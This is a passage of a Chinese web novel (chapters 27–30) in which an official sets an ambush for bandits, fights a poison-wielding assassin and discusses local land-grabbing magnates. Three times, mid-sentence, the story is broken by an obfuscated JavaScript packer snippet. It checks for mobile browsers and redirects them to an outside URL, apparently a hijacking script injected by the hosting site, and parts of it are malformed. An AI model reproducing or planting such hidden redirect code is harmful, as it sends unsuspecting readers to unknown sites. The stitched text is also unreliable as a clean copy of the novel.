至少也该呼喊两声问问情况之后再求人相助或是感激。而且也不可能做到立刻直视光源却不感到一点不适。 这家伙在说谎!这套拯救县令的戏码很可能是故意安排的,为的就是误导他们。 戚玹道:“我知道了,立刻对刘达严加询问。” “不,不只是他,”源尚安道,“还有一个人,我们也该找来问问。” 戚玹面露不解。 “假县令坐堂的那几天里,身为县丞的潘理全就没发现一点不对?” “分开问吧,避免串供。” 27.霜刃染(一) 戚玹发觉自己又想下意识地低头了,可这一次不是因为微妙的自卑心态,而是…… 他堪称小心谨慎地抬起眸光,然而很快便又自知理亏似的收了回去。 这不是他该有的妄念,戚玹无声逼退了脑海中浮现的赞叹和模模糊糊的念头。 但他还是情不自禁地暗叹,此前自己从未见过这般惊为天人的男子。 不仅仅是容貌出众,实际上戚玹窃以为这世上从来不缺姣好的面容,大部分人只要肯花心思打扮保养,其最终呈现的效果都不会太差。 但从戚玹望见源尚安的一刻起,挽留住他目光的就从不是仿若天神精雕细琢过的容颜,而是通身那股无可取代的气度。 他运筹帷幄,临危不乱,在污浊不堪的官场中仍旧驾轻就熟,不沾尘埃,整个人举手投足间满是挥洒自如的魅力,注定不是个空有皮囊的草包废物。 无人可比。戚玹酝酿许久,还是唯有这无人可比四字。 也恰恰是拜这“无人可比”所赐,他知道有些事不该再近一步。 如今源尚安碰巧散了长发,姿态随意潇洒,沐浴后躯体自带的清香随风而来,与他惯常那副滴水不漏衣冠整洁的姿态大相径庭,却独有另一番风味。 这浑浑噩噩的念头叨扰了戚玹一整夜,直到第二日他去潘府寻人时都还有些思绪朦胧,像是宿醉未醒。 “……人不在?” “是啊,”小厮见他身披铁甲,知道身份不俗,因此格外敬重,“老爷他昨儿个就走了,说是要去亲自迎接郡里派来的人。” 戚玹回头,碰巧和源尚安面面相觑。 源尚安的浅笑叫人看不透:“这是有意躲着我呢。” 他却并不着急,似对这种情况早已有所感知。源尚安不慌不忙地递给小厮一封信:“麻烦帮我转交给你家老爷。” 随即又道:“赵大人,您对这位昔日的挚爱亲朋有多少了解?” “呃我……”赵兴咳了声,“还行吧,其实也谈不上有多深的交情。不过他一直都有这个习惯,每回上头来人都要亲自去迎接,不敢怠慢。” 赵兴发觉源尚安在看着自己,有点不自在地别过头去:“我说的都是实话,这次他听说上头来的是个新人,此前没见过,就更想给人留个好印象。” 源尚安并没有怀疑赵兴的说辞,原因也很简单,如果他真的和潘理全关系密切到不可分割的地步,他怎么会那么容易地被自己挑拨,然后转了阵营? 可见两个人之间虽有交情,但远没有到彼此信任、亲密无间的地步。 赵兴谨小慎微地凑近:“您是不是怀疑他跟人设计绑架太爷然后找人假扮?” “嗯?” “依我说,不大可能,”赵兴伸出一只手挡着自己的嘴脸,“老潘这个人我知道,要说他憋着坏我信,但他没道理干出来绑架县太爷的事。” “您想啊,就县太爷平日里那副样子,对他言听计从的,他干嘛偏要再换个人不可。新上来的还未必听话呢。” 源尚安点头示意他知道了,除此之外依然不置可否。戚玹问:“那现在?” “看好孙七,”源尚安道,“待会儿营地要乱,他可不能出事。” 赵兴瞪大眼睛:“顾大人您怎知……” 您怎么知道待会营地会有动乱?既然已经提前得知,那是否应该做出相应对策? 赵兴一阵眩晕,他实在搞不清这个人了。 源尚安微微一笑,尽是成竹在胸的淡然:“俗话说兵不厌诈,昨日的失利若不能好好利用一番就太可惜了。” —————— 赵兴搞不懂这人在打什么算盘,只得默不作声地跟在一侧。源尚安也沉寂不语地观察着地形图。 军营里从未如此安静过,静得让人心生警惕。 “报!” 传信兵风尘仆仆地扑进大帐:“卫老将军已依照军令率领五十名将士前往东侧山谷。” “好,”源尚安道,“再探再报。” 传信兵应了声是后飞速退出,分毫不拖泥带水。 赵兴看看这个又看看那个,最终弯腰问道:“顾大人,您安排的?您知道他们的窝点在什么地方了?” 源尚安没有应答,目光似能穿过地图上的山川河流落入危机四伏的谷地。 “……喂,你看清了吗?他们打的什么旗号?” 另一探子猕猴似的望了望,旋即又缩回隐蔽:“他们什么旗号都没有打,但行色匆匆。” “……这铁甲成色新得很!”同伴拍肩膀道,“这形制我认得,绝对是官兵!” 然而这四五十个人却与他们想象中高大威猛的官兵不同,反倒是个个神色萎靡不振,甚至还挂了不少彩。 埋伏在山崖上的两名探子大眼瞪小眼,最终同时反应了过来:“……求援的!他们是去找人求援的!定是昨日一败让他们士气大挫,这是个好机会。” 两人脚不敢停,立马飞速回去禀报探听到的消息。 “你们说的都是真的?” “真的真的,千真万确!” 男人沉思片刻,似在盘算策略:“先将这伙人拦下。其余的人随我抄家伙。” “……报!” 这一次急急忙忙赶回来报信的小兵身上沾染了血花,差点扑通一声跪倒在地:“不好了不好了,那伙土匪出手了,卫老将军带人在山谷鏖战,情况不妙啊……” “啊?”赵兴心跟着一颤,他本以为源尚安此次是十拿九稳,“这、这一切不是大人安排的吗?这……” 他晃了下源尚安的手臂:“喂,是不是要派人增援啊?” “……喂,怎么不说话?”赵兴又道,“不能不管卫老将军死活吧。” 源尚安只道:“别出声。” 这种单调的命令口吻他此前从未见过,然而赵兴来不及作出反应,只听帐外轰然一声巨响。 他差点被震倒在地,好在一双手及时把他拉了起来。 帐外忽而闯入的数十名匪徒策马遥望,其中一人忍不住骂了声:“操,怎么没有人?” 何止是没人,这一切简直安静得可怕。 他一把揪住探子的衣领:“你敢耍老子?!” “不不不,我……” 探子还来不及为自己辩驳两句,下一刻帐篷的缝隙里忽而同时冒出来了一只只弩机。 没有任何人出声,也没有任何人下令。可随着扳机咯嚓一响,不计其数的箭矢不约而同地朝着人群飞去! 噗嗤—— 利器贯穿血肉的声音此起彼伏! 为首者当场变了脸色:“……天杀的,有埋伏!” 尸体扑通扑通倒地,男人立时策马狂奔就要逃离。 到此刻源尚安才下了令:“拿下他,抓活的。” 藏在军帐里的云昼即刻得令,小刀瞄准马蹄飞去。随即只听战马一声痛苦的长嘶,马上的蒙面男人意识到了什么,于坐骑倒地的瞬间一跃而下。 西侧营地的埋伏着的剑士热血沸腾:他们正等着机会将人生擒活捉! “杀!随我冲!” 队长举起长剑身先士卒,身后十多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15023274|159584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名甲士随之而出,眼见就要—— 蒙面男人诡秘一笑,抬手懒洋洋地一挥,霎时毒烟随风而起,呛得人紧闭双目连连咳嗽。 “是、是毒药……” 队长口鼻流血,余下的话还没来得及出口便徐徐倒地。 眼看着队友中毒不起,云昼喝道:“弓箭手准备!” 话音未落,他竟也是跟着一阵猛咳! 糟糕……云昼暗叫不妙,这毒粉搭上晨风蔓延速度实在出乎意料。 他旋即抬眸望着主帐,口中喃喃试图呼唤着什么:“先、先生……” 帐里的赵兴似有所感:“完了完了出事——” 源尚安变色喝道:“捂着嘴!趴下!” 这是个用毒高手! 他自己也飞速用丝帕系住了口鼻以免中招。 蒙面男人抢夺过另一匹战马,视线在十来处装模作样的假营里搜寻一圈,而后忽地意识到了什么。 他骤而拔了中毒者身侧长刀,得逞的微笑掠过嘴角。 刀刃与风声摩擦出极为刺耳的噪音,赵兴面露惊恐:“顾大——” 吼声尚未落地,锋刃已然刺破帐布杀到身前。赵兴立时闭眼不忍再看。 ……完了完了,得见阎王了…… 当啷! 黑白无常并未如约而至,赵兴颤巍巍地睁开眼:不知何时源尚安拔起蕴光剑挑飞了偷袭的刀刃。 紧捂着嘴的赵兴瞬息忘了警告,声音从指缝漏出:“那个……顾大人您在军里是做什么工作的?” 怎么好像能文又能武的啊。 然而他来不及继续感叹,麻布的遮掩已被突然闯入的刀刃破坏,两位蒙面者此刻不谋而合地望向对方。 “……” 赵兴知道这种强强对决的场合和自己没关系,自觉地滚到角落藏好不妨碍人。 其余的土匪早已中箭倒地,源尚安知道剩下的这根独苗才是今日最难缠的对手。 源素臣的话音在脑海中飞速重播:“……这是个用药高手,小心。” 蒙面人颇为轻浮地吹了声哨,直奔源尚安而来。 马蹄扬尘的一瞬源尚安下意识眯眼闪躲,然而正是这一闭眼叫他找住了机会。蒙面人扣住腰腹,直接将人拽上马来。 源尚安心头一震,立马握拳捣向对方下颌。 马上空间极其有限,长剑的优势根本施展不开。这人游刃有余地握住源尚安的手腕。 ……不知为何,源尚安觉得面罩下的脸在窃笑。以及空气中似乎隐隐约约漂浮着某种异香。 这样的笑和注视让他很不舒服,源尚安身上发力一扑,两人立时一并滚下马来。 震动让人大脑空白,可源尚安还是立时站了起来拔剑相向。 剑刃凌空摇晃划破男人衣衫,源尚安脚步一乱,登时意识到自己也在不知不觉中吸入了药粉。 身体随之不受控制地发热,源尚安不知道这药效发作后是什么结果,抬剑毫无退意地照着人心口刺去。 对方低笑一声,伸手看也不看掐住了他的喉骨。刹那间源尚安瞳孔放大,意识到这是个极其强大又已然欠下无数血债的顶尖杀手! 那股能硬生生拧断咽喉的力道不是开玩笑的! 然而杀手将他抵在树干上的动作堪称柔情,他另一手轻轻松松勾掉了源尚安的面罩:“你中的东西没那么好解。” 玩弄的恶意霎时潮水般上涌,他凑近笑道:“因为那是上等的媚药。” 啪! 他话未说完,一耳光干净利落地打在了脸上。 28.霜刃染(二) 脸颊升腾起了针扎般的刺痛,然而这人非但不觉得难受,反倒饶有兴致地抓住了源尚安那只打过来的手:“跟你开个玩笑,脾气就这么大呀。” 源尚安冷冷道:“好笑么?” “啊,你要是动怒的话,恐怕药效会翻倍——” 空出来的另一只手也狠狠甩了他一巴掌:“放肆。” 出乎源尚安的意料,在两脸各挨了一掌之后这家伙第一反应居然不是恼羞成怒,而是止不住地哈哈大笑。 可笑归笑,却不耽误他手上的力道加重几分,颈部关节随之咔嚓响动。 他道:“你比那个姓源的有意思多了。” 虽然知道他说的该是源素臣,但想到自己其实也是个“姓源的”,源尚安不免有些语塞。 然而这都不会耽搁手上动作,源尚安摩挲着袖口的刀片,这是他从项连身上学到的一招。 无论何时何地,都要给自己留一手利器! 源尚安忍着窒息感和颈部越来越重的疼痛,捻起薄刃照着人腰腹扎去,同时抬脚发力,顿时只听嘭—— 随着一声响动,那人下意识退后半步。 源尚安捡起地上的蕴光,不料脚步跟着一颤险些倒地,他原以为是那杀手散布的迷药作祟,电光火石间忽而发觉其实是右腿因为沉重的旧伤而有些坚持不住了。 ……怎么偏偏在这种时候! 腿部的痛感限制了他的行动,那杀手迅速抓住时机提刀照着面门砍来。 叮! 刀剑撞击声泠泠如玉,源尚安凭借着手部力道暂时抵住了杀势。 杀手却是略带失望:“这点劲可不够。” 旋即他飞快撤力,刀身撩起直冲头部而来。源尚安垫步后撤,蕴光剑尖同样也刺向敌手面门。 他是将门之后,绝不是个坐以待毙的病秧子! 外头叮呤咣啷的打斗还是勾起了赵兴的担心,他也顺来了刀和盾牌想一探究竟。 其他同伙都死了,他还能和顾大人打得有来有回!这人到底什么来头? 眼见源尚安的身体因为病痛和药粉越来越弱,渐渐招架不住攻势,那杀手不再犹豫,长刀一舞就要取人性命。 “顾大人!” 赵兴也顾不得其他,他两手举着盾牌跑来腿却不听使唤地劈了叉,最终以一个极其可笑的姿势滑倒在地挡住了刀刃。 他来不及喊痛:“大人快跑!” 第三者的闯入显然引起了这人的不满,他手腕发力,砰地一声将盾牌劈为两半。 “……啊!我嘞个亲娘我……”赵兴拔腿就跑,“你属熊的啊!” 开什么玩笑,这可是货真价实的铁盾!他居然给硬生生劈烂了? 就在他抬脚的瞬间,营地里飞速窜出一支羽箭,嗖嗖穿透了那人挥刀的右手。 被血浸透的箭矢钉入脚边的泥土,源尚安有些诧异:“项连?!” 果真是他,源尚安一点没有看错,项连夺过侍卫的佩剑,三两步便杀到了蒙面人眼前。 手部受伤了之后运转刀刃的速度力道下降,眼看不是对手,蒙面人也绝不恋战,抬脚踹向项连腰腹就要故技重施。 可惜来人似乎对他惯用的招式早就熟记于心,项连抄住飞踹过来的腿,对方立即左手转刀要砍。但项连避开的同时手臂钳制住了他的脖子,随后疾速在身上掏了一通。 与此同时,源尚安舞起蕴光,照着背后劈去。 蒙面人一声哨响,千钧一发之际推开项连翻身上马。那头身经百战的牲畜敏捷迅速,带着主人簌簌越过矮陂疾驰而逃。 未能击向敌手的长剑最终被源尚安扎入土壤以维持身形,他望着项连心潮起伏,却不知该说些什么。 项连也不需要那点肉麻的道谢,他将手里袋子抛给源尚安:“解药。” 他知道这人想问自己什么,于是轻嗤了声道:“你不是会看透人心么,那就猜猜我方才为什么而来?” 这分明是在报复之前山岭里被看出来了意图的一幕。源尚安没有答话,而是拔了蕴光的支撑,认命一般地缓缓坐到了地上,在无法放心的敌人面前暴露了自己的弱势。 他甚少在外人面前展露自己的旧伤,薄弱的一面向来被源尚安隐藏得非常巧妙,他不希望被旁人同情怜悯的目光环绕。 可是天不遂人愿,那双腿实在坚持不住了。 赵兴立马担忧地挪向源尚安:“大人您怎么样您不要紧吧?” 项连一语道破了他的秘密:“他腿上受过重伤,时不时会发作。” 源尚安闭目深吸了一口气:“……项连,不说话会变成哑巴吗。” 这分明是万般无奈之下在尽量维护一点自尊,项连瞧出来了之后难得心情大好:“伤疤是战士的荣耀,我不懂有什么好避讳的,那又不是什么屈辱。” 随口一说的两句话都能精准地照着人伤口上撒盐,源尚安眉头微跳,该说不说这种本事也算是天赋异禀。 他朝后一靠,大概是对这个人的说话技巧绝望了:“你要不还是做个哑巴吧项连。” 项连嗤笑:“我救了你一命,你还恨上我了?” 源尚安觉得没法跟他说话,现下要紧的是把解药交给军医照样熬制救人,于是扶了几下树干想强撑着坐起来:“我现在不想和你讨论这个。我——” 可惜疼到发软的右腿根本使不上劲,他不仅站不起来,还只能在原地尴尬地打滑。 见状项连走上前去好心帮忙,然而他帮忙的方式竟是一把抓住源尚安的衣领,拎小猫似的揪了起来拖着走。 “……你给我放手,放手,”源尚安快要忍无可忍了,“项连你还没完了是吧。” 随即他忽然意识到了什么:“你实话告诉我,你那天劫持我的时候也是把我这么拖出去的吧。” 怪不得他那天回来发现衣服这么脏。 项连装作没听见,源尚安只能去掰他的手腕:“行了够了我能走。” 项连还真的听了话随手一丢:“你那两条腿能行吗?” 源尚安提高了声音,是真的想生气了:“走不了总能爬吧。” “哟,属猫的,还四条腿走路。要给你塞条手巾当尾巴吗?” “……我现在就让你变成哑巴项连。” 他说到做到,还真抓起地上的土屑要朝项连砸。 项连哈哈笑,也不避让就站在原地让他砸:“你这人还真是……” 他卡了一下,一时半会还真吐不出来什么夸人的词,干脆啧了声略过不提,蹲身道:“其实你不叫顾青,对吧?” 源尚安反问道:“其实你也不叫项连,是么?” “我叫,我真的叫,”项连一本正经地抱着手臂,“我娘亲姓项。” 想到这字的本意是指人的后颈,源尚安道:“难怪那么喜欢揪人脖子。” 项连不知怎的今日一听他说话就想笑:“你这人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028735|159584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还真有点意思。” “不过我该叫你什么呢顾先生。” 源尚安掸了掸灰尘,踉踉跄跄地向前走,黄土地上尽是一浅一深的脚印:“我也没有骗你,我确实就叫故卿。” 项连道:“令堂也姓顾?这么巧。” “我娘……”营地已然近在咫尺,源尚安却心头一沉,“我从来没有见过她。” “你……”不知为何这话也莫名叫项连心情一坠,他顿了顿道:“你娘她,应该很漂亮。” 源尚安简略道:“谢谢。” 项连凝视源尚安良久,忽而想把埋藏在心底的前尘旧事一股脑地朝他倒出来,可理智还是拦下了这莫名其妙的冲动。 他最终只道:“你要真的只是顾主簿那就好了。” 源尚安道:“但你怕是不能一直只是项公子。” 两人对这拉扯试探都心知肚明,旋即又心照不宣地同时一哂。 营地里的军士跑上前来:“顾大人!” 源尚安吩咐道:“所有人系上丝巾布条挡住口鼻,把今日中毒的人都挪到一间帐篷里。再把这药拿给军医让他找出方子好抓药拿药。” “是!” 方才挫败造成的短暂困窘已然消散无痕,他又变回了往日那个深谋远虑、高瞻远瞩的顾主簿。 “报——” 源尚安以为是有什么新情况:“怎么,出事了?” “不,”小兵道,“是少主,少主来了。” 衔霜熟悉的长鸣传来,源尚安下意识地回头望去。 无论何时策马而来的矫健身影总让他心生向往,尤其是在他受了腿伤被大夫告诫尽可能避免骑马之后。 源素臣与他目光交汇的一瞬勒住了缰绳,把衔霜交给阿飞后下马快步走来:“怎么样,有没有受伤?” 边说还边伸手把他散落的几缕鬓发拨到耳后。 源尚安想起杀手给自己下的药,不过那应该是迷药之类的东西,而且他吸入的不多及时止损,因此现下问题不大。 源尚安摇了摇头说没事,源素臣才继续道:“我看你的诱敌之计成功了?地上全都是匪徒的尸体。” 源尚安低头道:“可是还是放走了他们之中实力最强的那个,也是那晚设计劫杀你的人。而且……” 他重叹了声:“还让十二位将士中了毒。按理说,你甚至可以治我的罪。” 源素臣没回话,认真地瞧着他,少顷后选择了从谏如流:“那你希望我怎么治你的罪?” 源尚安愣了下没想好怎么回话,源素臣又道:“就你这身子骨,几棍子下去怕是就没命了。” “谋事在人,成事在天。人也不可能一直都面面俱到。” 比起无时无刻都云淡风轻,对发生的一切早有预感,把什么事都牢牢掌控在掌心。眼前这个偶尔也会有所失误偏差的源尚安才会叫源素臣觉得有实感。 人又不是神仙,怎么可能事事完美无缺。 源素臣知道,他最难得的一点就是愿意接受失败,从不会在这种关头在意所谓的面子和骄傲,随后立即会根据现状调整策略。 而等他调整方位再度发力之时,源素臣相信他会立于不败之地。 源尚安嗯了声:“我去见见中毒的将士们,还有地上那堆尸首,暂且不着急处理。” 源素臣唇角微动,是欣慰也是赞许。笑意上扬的同时听见源尚安又道:“有时候死人可比活人有用多了。” 29.霜刃染(三) 项连不声不响地观摩着源尚安方才的言行,而后奇异地发现先前那股厌恶和不适感已经没了大半。 真奇怪。 他暗自琢磨了阵,莫非是因为方才陪在源尚安身边的那个人是源素臣的缘故? ……就怎么说,这两人相处起来丝毫没有怪异的客套,无论说什么做什么都显得十分自然。 这样独有的亲密感已然超出了上下级之间应有的范畴。项连愈发肯定那家伙绝对不会只是个小主簿。 于是他什么也没有说出口,以协助熬药照顾伤员的名义默默陪在了源尚安身边。 军医们知道事态紧急不可耽搁,拿到解药的那一刻便迅速分析出了对应药物写成方子,随后交给阿飞去县城药店采买。 这会子药已经熬上了。 浓郁的草药味令项连忍不住皱眉,四周热气也蒸得人想流汗。项连伸手抹了把脸:“这种活还需要你亲自来干?” 源尚安帮人倒水点火扇风,一套流程下来丝毫不见倦怠或是厌憎之色。他道:“今日他们的伤势也有我思虑不周的缘故,这些都是我应当做的。” 项连奇道:“可以,但没必要。你只要自己不那么想,没有人会把这事算在你的头上。” 源尚安道:“身为统帅身为布局者,怎能轻易放松。” 项连捕捉到了答案,难得愉悦道:“你果然不是一个小小主簿。” 这次源尚安没有反唇相讥也没有和他打得有来有回,而是静静地望着帐外不言不语。 须臾后他才回身道:“困扰人心的问题终究会有答案的,何必急在一时一刻。” 说罢又端起熬好的药依次分装到碗内。 趁这机会项连凑近,语音乘着滚滚药气而来:“你想不想知道今日那个杀手的身份?我可以告诉你,不过要用你的讯息来换。” 源尚安手上动作依然平稳,丝毫不为所动。 “有舍才有得,”项连自认为这很公平,“你不会想白嫖吧。” 源尚安挨个把熬好的药放进篮子里又盖上布:“我对一个将死之人的讯息没有兴趣。” 语气里的蔑视与不屑浑然天成:他一向瞧不起视他人生命如草芥之人。 然而不知为何这种居于高位傲视其下的姿态语调莫名让项连觉得很不舒服,像是根小刺卡进了皮肉。 他道:“你们这种出身高贵的人是不是生来就瞧不起那些不得不在鬼门关外挣扎的‘贱民’?” 源尚安提起篮子:“我就是你嘴里的贱民。” 项连一瞬被堵得无话可说。 源尚安稳步向前,顺便侧首问道:“那个人的线索呢,怎么不说了?” “……你那也算提供了讯息?” “是啊,”源尚安道,“你又没说是什么样的讯息,只要与我有关不就成了。” 话音刚落他明显听到项连忍无可忍地深吸了一口气。 项连立刻决定以牙还牙,回击道:“他也和你一样出身贫苦,我说完了。” 源尚安听出来了他的怨怼,不由得颔首一笑。 “我并非王孙公子,也不是世家名门,”他道,“叫你失望了。” 帐篷旋即被源尚安抬手掀开,躺在地上的将士见他来还有协议意外,其中有几个甚至还想着爬起来给他行礼,源尚安挥手示意不必:“各位,解药熬好了,趁热喝吧。” 十来名军士面面相觑,显然对这种场景很不适应。 源尚安把篮子里的药一碗碗分人:“此次初战告捷,各位功不可没。但是对于领头者善用毒药这点我确实准备不足,向各位深表歉意。” 年长些的道:“大人,您太客气了,这都是小事……” 源尚安却道:“诸位上阵杀敌,是国之锐士,若无诸位,讨逆军也不可能存在。” 见众人依次喝了药,源尚安放下心来,才继续道:“实不相瞒,今日前来我也有一事向诸位讨教。不知此人所用之物大约是什么色泽和气味?” 他话音刚落,有个十五六的少年便跃跃欲试:“嗨,大人您听说过瘴气吗?” “哎,小猴子你做什么,”年长些的把人拉了回去,“没大没小的。” 这绰号似乎引起了源尚安的兴趣,他唇角略弯朝人看去:“你怎么叫小猴子呀?” 这少年长得机灵,脸色酡红却略显瘦小,绰号虽有些揶揄意味,但却十分贴切。 小猴子挠了挠脸,觉得源尚安像个哥哥似的亲切,便也不讲究规矩:“大人,你到过岭南没有?我爹娘说他们祖上就是岭南人。” “岭南?” 两字勾起来了源尚安的回忆,由于父亲常年镇守边关,家中常备的都是兵法史书,这些典籍早就被少年时期的源尚安翻烂了。 他记得书上说,后汉时光武帝派伏波将军马援南征交阯,虽然最终得胜还朝,可行军途中便遇到了“瘴”,致使将士损伤惨重。 但对于什么是“瘴”书上则表述不一,源尚安自己也从未曾到过南方:有的说是一阵烟气,有的说一群毒虫,更有甚者夸大其词传出来了鬼门关的谣言。 他知道眼下要向人请教:“那你说说看,什么是瘴气?” 小猴子笑了声,旋即又正色道:“我娘说,那是山林污浊之气,南北皆有但岭南更为常见。若有毒虫毒蛇盘踞,再加上人或牲畜的死尸堆叠没能清理,就会生成一股毒气,远远望去就和团雾似的,可活人一闻就不行了。” 他这话也启发了余下的人:“对啊,那家伙散出来的东西好像不像是烟或者粉末……” “能飞这么快,那不就只有虫子了么?” 眼见大家纷纷响应之余不免对自己的见识啧啧称奇,小猴子不好意思地挠了挠头:“我也是瞧着像,就随口说说……” “不,你不必谦虚,”源尚安笑道,“你的思路很好,只是不知你们那边有没有什么法子防治呢?” “嘶……爹娘说,用薏苡仁泡水,而后像过端午那样拿点雄黄来,人就好多了,也可以用花椒防虫——反正就是用些辟毒解毒之物熏蒸服用。” “花椒?” “嗯,但不能用太多,多了人反而会中毒。” “好,”源尚安伸手拍了拍小猴子的肩膀,“若是此法有效,你可是重重有赏。” ——————
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15031661|159584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 项连再见到源尚安时天色已晚,也不知道他和人在帐内聊了什么起劲的东西,出来时整个人的精气神都不一样了。 ……像是突然一下子就病好了很多。 看来他是能和人好好说话的,只不过懒得跟自己好声好气罢了。项连心头才泛起的那一点点好感立时烟消云散。 果然仇敌就是仇敌,仇敌是不可能变成友人的。 项连正腹诽不止,抬头碰见赵兴找来便自觉后撤半步。 这家伙不知什么时候也对源尚安言听计从了,这人好像有种奇妙的法力傍身,无论什么人跟他接触久了,都会自动愿意唯他马首是瞻。 这种感觉叫项连很不舒服。 人会对另一人感到不舒服,要么是从对方身上看到了自己不愿正视的缺陷,要么是类似的特质让他回忆起了过往的痛楚。 儿时族中长老告诉他,他们如今的败落源于一位绝色佳人。 佳人姓甚名谁已然随着时光流转而模糊不清,然而这根本阻拦不了族人对她的容貌大加溢美之词,从一笑倾城说到祸国妖孽。 对,这女子就是个妖孽转世。 若不是妖孽,怎能迷得先王与一众宗亲都神魂颠倒如痴如醉?族人流传的绯闻里,简直要把这位佳人说成是迷药成精,叫旁人一闻见一瞧见便魂飞天外不知今夕何夕了。 佳人多娇,引得英雄尽数折腰,就连那建下赫赫功业的先王也被她迷去了心窍。 驰骋疆场的豪杰纷纷拜倒在她石榴裙下,彼此之间迅速为爱生恨,颇有几分不死不休的架势。 由此可见,有时候男人其实才更会吃醋。 而这一下可了不得,因为那帮互相恨不得捅死对方的人乃是分掌军政大权的国戚栋梁,于是腥风血雨迅速席卷而来,部族上下即刻乱作一团。 死伤无数的惨状终于唤醒了起先将她奉若神明的情人们,往日里爱有多深,此刻恨意发作起来便有多疯。 动乱平定后他们步步紧逼,终于将她逼上了绝路。 可惜祸国妖孽虽死,国运却急转直下不可倒流。 长辈们对此痛心疾首之余不免破口大骂,而年幼的项连尚不能理解其中的亡国之悲遗民之叹,只当是自己玩耍的画外音。 因此这故事他也就听得断断续续,记不明晰,眼下甚至形容不出来那绝世佳人——或者说绝代祸水的准确容貌来。 不过这不能怪他,他出生时匈奴早已覆亡。 而如今这祸水显然是复现于世,即将掀起一场天下动荡来。只不过大概投胎时选错成了男儿身,因此暂且蒙蔽了世人双眼。 “项公子。” 那蓝颜祸水开口叫他了。 项连本想不理源尚安,没想到计划又泡了汤,于是故意很凶地回道:“干什么?” 源尚安听出来他在生气,和颜悦色道:“项公子,你想不想跟我们去一趟县城?” 项连挑眉,显然是想问干什么? “赚点钱。” “你要坑……赚谁的?” “谁有钱赚谁的,”源尚安毫无愧疚之心,“我看城里那位郑良辅郑老爷就很有钱。” 30.霜刃染(四) 对于坑害昔日亲朋好友赵兴心里头早没了负担,他所担心的是一招走错引来反扑。 毕竟郑家也在夏州扎根多年,说实话要是刘达和潘理全犯了事被拿下或是走人,赵兴丝毫不觉得意外,但要说一个家族会被连根拔起的话,那赵兴不大相信。 豪强世族那是两汉时就埋下的祸根,连光武这样的明君圣主面对盘踞在国土上的这群庞然大物都时常感到无能为力,只能采用拉一派打一派的方式勉强控制。而后来者效仿不了先祖的帝王手腕,加之各方矛盾激化,致使天下分崩离析三足鼎立。 这痼疾时至今日都没能做到彻底根除。赵兴见识了源尚安的头脑,却仍旧不觉得他就能有打碎锁链的能力。 原因很简单,一个家族起码有几十人,多则成百上千,他一个病人能做什么?能做到保持良知,不和这伙人同流合污一起盘剥欺压百姓就不错了。 咳,不对……他自个儿那点事怎么能叫欺压百姓呢,他只不过是替人跑跑腿…… 源尚安道:“赵大人,你不想去?” 赵兴难得严肃了起来:“顾大人,要我说,咱们这次把钱要了分给将士们就可以了,其余的不必再管了。” 源尚安没有出声反对,也没有立即赞同,赵兴便又凑近劝道:“咱们是在别人的地盘上做事,不能把人都得罪透了。” “得罪透了吗?” “……还不算得罪吗?”赵兴道,“你查了案,打了人家的脸,又要肃清土匪,这不是断人家财路吗?” 俗话说的好,断人财路如同杀人父母啊。这何止是把人得罪透了,简直是和人结下了血海深仇。 “我不明白,”源尚安道,“我怎么就断人家财路了?” 赵兴啧了声:“郑老爷是做什么生意的知道吗?” “不知道。” “米行,卖米的,”赵兴道,“这要是大家都能吃饱饭,他上哪卖去?再说了,这粮食不是田地里种出来的,要想做大做强,不得想方设法给自己名下多搞几亩田产?” 源尚安笑道:“那我就不懂了,那我们分明是帮他,怎么还成了拦他了呢。土匪强盗横行无忌又不事生产,他们全靠打家劫舍为生,弄得人心惶惶,地也没法好好种了。我们若是把这伙人成功赶跑,岂不是在帮他?” 赵兴跺脚哎呀了声,这人瞧着挺聪明的,怎么关键时候还喜欢和自己犯糊涂呢。 两人边走赵兴边抱怨道:“顾大人,您到底是真不明白,还是故意逗我装糊涂?” 源尚安的笑叫人摸不着头脑:“你说呢。” ……又开始了。 赵兴觉得自己在他眼里怕不是个陀螺,合该被耍得团团转。 目的地在望,源尚安也收敛起了笑意,正色道:“你的意思我很明白,当今天下门户私计已久,土地兼并乃是一大痼疾。所谓土匪洗劫农人畏逃,不过是豪强又一吞并田土的办法而已。劫掠后重建村落的过程之中,他们有无数种法子把田地变成‘无主之物’而后低价买下。日积月累,便势不可挡。而这些人在地方强盛之后,自然想把手伸到中央。” “是啊,”赵兴迎风叹道,“郑家早就开始想法子送子女同皇室或是大族联姻了。” 源尚安道:“你很了解他们。” 赵兴咳了声:“……我也只是听别人说的。” 源尚安不去细究赵兴为何如此了解,而是继续道:“长此以往,富者田连阡陌家财万贯,贫者却无立足之地甚至无法维持温饱。若不下定决心从头根治,那么民变在即。” 